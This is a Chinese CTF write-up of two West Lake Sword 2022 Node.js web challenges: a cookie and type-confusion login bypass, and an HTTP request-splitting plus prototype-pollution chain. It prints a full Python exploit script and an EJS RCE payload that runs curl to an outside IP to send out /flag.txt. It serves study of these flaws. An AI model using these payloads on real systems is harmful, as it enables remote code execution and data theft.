西湖论剑2022 web复现 赛后复现学习
[西湖论剑 2022]Node Magical Login main.js部分源码
1 2 3 4 5 6 7 8 9 10 11 app.get("/flag1",(req,res) => { controller.Flag1Controller(req,res) }) app.get("/flag2",(req,res) => { controller.CheckInternalController(req,res) }) app.post("/getflag2",(req,res)=> { controller.CheckController(req,res) })
看源码由两部分flag应该
再烂看controller.js部分源码
1 2 3 4 5 6 7 8 9 10 11 12 function LoginController(req,res) { try { const username = req.body.username const password = req.body.password if (username !== "admin" || password !== Math.random().toString()) { res.status(401).type("text/html").send("Login Failed") } else { res.cookie("user",SECRET_COOKIE) res.redirect("/flag1") } } catch (__) {} }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function Flag1Controller(req,res){ try { if(req.cookies.user === SECRET_COOKIE){ res.setHeader("This_Is_The_Flag1",flag1.toString().trim()) res.setHeader("This_Is_The_Flag2",flag2.toString().trim()) res.status(200).type("text/html").send("Login success. Welcome,admin!") } if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }else{ res.status(401).type("text/html").send("Unauthorized") } }catch (__) {} }
可以看到,cookie里user值为admin才会设置session,并且可以得到flag1
NSSCTF{94784282-c4ee
接下来看flag2部分
看到在登录界面Math.random(),密码符合这样才能flag2
看一下和flag2相关的
1 2 3 function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } }
这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了
注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json,数组要有16位
NSSCTF{94784282-c4ee-4d3d-a48b-27c47a753c83}
[西湖论剑 2022] real_ez_node 源码https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node
routes/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 var express = require('express'); var http = require('http'); var router = express.Router(); const safeobj = require('safe-obj'); router.get('/',(req,res)=>{ if (req.query.q) { console.log('get q'); } res.render('index'); }) router.post('/copy',(req,res)=>{ res.setHeader('Content-type','text/html;charset=utf-8') var ip = req.connection.remoteAddress; console.log(ip); var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only for admin" res.send(JSON.stringify(obj)); return } let user = {}; for (let index in req.body) { if(!index.includes("__proto__")){ safeobj.expand(user, index, req.body[index]) } } res.render('index'); }) router.get('/curl', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:3000/?q=' + q try { http.get(url,(res1)=>{ const { statusCode } = res1; const contentType = res1.headers['content-type']; let error; // 任何 2xx 状态码都表示成功响应,但这里只检查 200。 if (statusCode !== 200) { error = new Error('Request Failed.\n' + `Status Code: ${statusCode}`); } if (error) { console.error(error.message); // 消费响应数据以释放内存 res1.resume(); return; } res1.setEncoding('utf8'); let rawData = ''; res1.on('data', (chunk) => { rawData += chunk; res.end('request success') }); res1.on('end', () => { try { const parsedData = JSON.parse(rawData); res.end(parsedData+''); } catch (e) { res.end(e.message+''); } }); }).on('error', (e) => { res.end(`Got error: ${e.message}`); }) res.end('ok'); } catch (error) { res.end(error+''); } } else { res.send("search param 'q' missing!"); } }) module.exports = router;
看到源码部分中的copy的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 router.post('/copy',(req,res)=>{ res.setHeader('Content-type','text/html;charset=utf-8') var ip = req.connection.remoteAddress; console.log(ip); var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only for admin" res.send(JSON.stringify(obj)); return } let user = {}; for (let index in req.body) { if(!index.includes("__proto__")){ safeobj.expand(user, index, req.body[index]) } } res.render('index'); })
看到过滤了proto基本可以确定了是原型链污染,看到有ip限定只允许是127.0.0.1,看各位大佬的wp学会可以通过访问/curl利用httpz走私想/cpoy发送POST请求
**proto **被过滤可以用constructor.prototype替代__proto__
http拆分攻击+原型链污染
我们先来了解一下http拆分攻击
当 Node .js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏 导致的 HTTP 拆分攻击
Unicode原理
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:
nodejs 的 HTTP 拆分攻击利用 由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符 的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。
当 Node.js v8 或更低版本 对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
1 2 3 > http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
1 2 3 > Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString() 'http://47.101.57.72:4000/\r\n/WHOAMI'
原始请求数据如下:
1 2 3 GET / HTTP/1.1 Host: 47.101.57.72:4000 …………
当我们插入CRLF数据后,HTTP请求数据变成了:
1 2 3 4 5 6 7 8 9 GET / HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 ………… GET HTTP/1.1 Host: 47.101.57.72:4000
所以我们构造的部分
1 2 3 4 5 6 7 8 HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 ………… GET
对这题而言,
我们构造
1 2 3 4 5 HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 。。。。。
接下来看原型链污染
过滤了_proto_
用constructor.prototype
rce:
1 x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x
payload:
{“constructor.prototype.outputFunctionName”:global.process.mainModule.require(‘child_process’).exec(‘curl 101.34.80.152:9999/ls
‘);var x}
脚本模版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 payload = ''' HTTP/1.1 [POST /upload.php HTTP/1.1 Host: 127.0.0.1]自己的http请求 GET / HTTP/1.1 test:'''.replace("\n","\r\n") payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ print(payload)
改一改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import urllib.parse import requests payload = ''' HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Connection: close Content-Length: 155 {"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.34.80.152:9090/`cat /flag.txt`');var x"} '''.replace("\n", "\r\n") payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ print(payload) r = requests.get('http://node4.anna.nssctf.cn:28758/curl?q=' + urllib.parse.quote(payload)) print(r.text)